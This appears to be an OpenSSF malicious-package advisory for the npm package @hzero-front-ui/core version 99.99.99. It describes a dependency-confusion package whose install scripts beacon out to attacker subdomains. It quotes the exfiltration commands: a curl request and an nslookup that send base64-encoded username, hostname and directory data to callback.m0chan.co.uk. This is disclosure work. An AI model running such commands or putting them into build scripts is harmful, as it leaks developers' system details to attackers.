MAL-2026-13969Malicious code in @hzero-front-ui/core (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | @hzero-front-ui/core | 99.99.99 |
{"modified":"2026-08-13T21:07:01Z","published":"2026-08-13T21:07:01Z","schema_version":"1.7.4","id":"MAL-2026-13969","summary":"Malicious code in @hzero-front-ui/core (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (7821a8d1a76ccfc9b3e0649ad6b600927c9c3448ee083d47809026588daa77ca)\nPackage @hzero-front-ui/core@99.99.99 is a hollow shell (index.js is only `module.exports = {};`) whose sole functional content is preinstall/install lifecycle scripts. On `npm install`, those scripts collect the installer's username (`whoami`), hostname, current working directory, and npm package name, base64-encode the concatenation, and transmit it to attacker-controlled subdomains of callback.m0chan.co.uk via two channels: an HTTPS GET (`curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64`) and a DNS lookup (`nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk`). The 99.99.99 version and hollow contents under an org-shaped `@hzero-front-ui` scope are the standard dependency-confusion shape — a public-registry high-version package published to shadow an internal namesake and beacon out from any build system that mis-resolves the internal name.\n","affected":[{"package":{"ecosystem":"npm","name":"@hzero-front-ui/core"},"versions":["99.99.99"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"6dfa75fcf4cfac2279dd89dc2c2f3ba7304aef8d79aafb5158c53c85f16827eb","tlsh":"0a119c2941319eb6a8e24fb01c00ab2d65fdabaf307ebb49620d4a1f001d16170ef64e"}],"package_integrity":[{"filename":"core-99.99.99.tgz","hashes":{"sha1":"c67fee7cef1bd74b3b98895c6279eb3be30f4a09","sha512_sri":"sha512-McnU51X7xzwhkNwXTkAt2SqX5g4RvSUIMDIb1YCXo4yrpuCwHtQOyOiu5k9HI/e/9OSAhlgV69mlRgJLK2+tRA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@hzero-front-ui/core/v/99.99.99"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-017674","import_time":"2026-08-13T21:20:57.04669535Z","modified_time":"2026-08-13T21:07:01Z","sha256":"7821a8d1a76ccfc9b3e0649ad6b600927c9c3448ee083d47809026588daa77ca","source":"amazon-inspector","versions":["99.99.99"]}]}}数据来源:OpenSSF Malicious Packages · Apache-2.0